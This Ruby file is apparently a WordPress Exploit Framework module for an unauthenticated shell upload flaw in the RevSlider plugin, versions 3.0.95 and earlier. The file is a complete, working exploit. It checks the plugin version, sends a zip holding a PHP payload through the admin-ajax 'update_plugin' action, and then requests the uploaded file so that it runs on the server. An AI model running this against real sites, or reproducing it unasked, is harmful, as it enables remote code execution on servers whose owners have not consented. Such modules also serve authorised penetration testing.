# frozen_string_literal: true

class Wpxf::Exploit::RevsliderShellUpload < Wpxf::Module
  include Wpxf

  def initialize
    super

    update_info(
      name: 'RevSlider <= 3.0.95 Shell Upload',
      desc: 'This module exploits a file upload vulnerability in versions '\
            '<= 3.0.95 of the RevSlider plugin which '\
            'allows unauthenticated users to upload and execute PHP scripts '\
            'in the context of the web server.',
      author: [
        'Simo Ben youssef', # Vulnerability discovery
        'rastating'         # WPXF module
      ],
      references: [
        ['EDB', '35385'],
        ['WPVDB', '7954'],
        ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/']
      ],
      date: 'Nov 26 2014'
    )
  end

  def check
    pattern = /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi
    release_log_url = normalize_uri(plugin_url, 'release_log.txt')
    check_version_from_custom_file(release_log_url, pattern, '3.0.96')
  end

  def plugin_url
    normalize_uri(wordpress_url_plugins, 'revslider')
  end

  def payload_body_builder(payload_name)
    builder = Utility::BodyBuilder.new
    zip_fields = { "revslider/#{payload_name}" => payload.encoded }
    builder.add_zip_file('update_file', zip_fields, 'revslider.zip')
    builder.add_field('action', 'revslider_ajax_action')
    builder.add_field('client_action', 'update_plugin')
    builder
  end

  def upload_folder
    normalize_uri(plugin_url, 'temp', 'update_extract', 'revslider')
  end

  def run
    super
    return false unless check_wordpress_and_online

    emit_info 'Preparing payload...'
    payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
    builder = payload_body_builder(payload_name)

    emit_info 'Uploading payload...'
    res = nil
    builder.create do |body|
      res = execute_post_request(url: wordpress_url_admin_ajax, body: body)
    end

    if res.nil? || res.timed_out?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200
      emit_info "Response code: #{res.code}", true
      emit_info "Response body: #{res.body}", true
      emit_error 'Failed to upload payload'
      return false
    end

    if res.body =~ /^0$/
      emit_error 'Target not vulnerable or the plugin is deactivated'
      return false
    end

    payload_url = normalize_uri(upload_folder, payload_name)
    emit_success "Uploaded the payload to #{payload_url}", true

    emit_info 'Executing the payload...'
    res = execute_get_request(url: payload_url)
    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    return true
  end
end
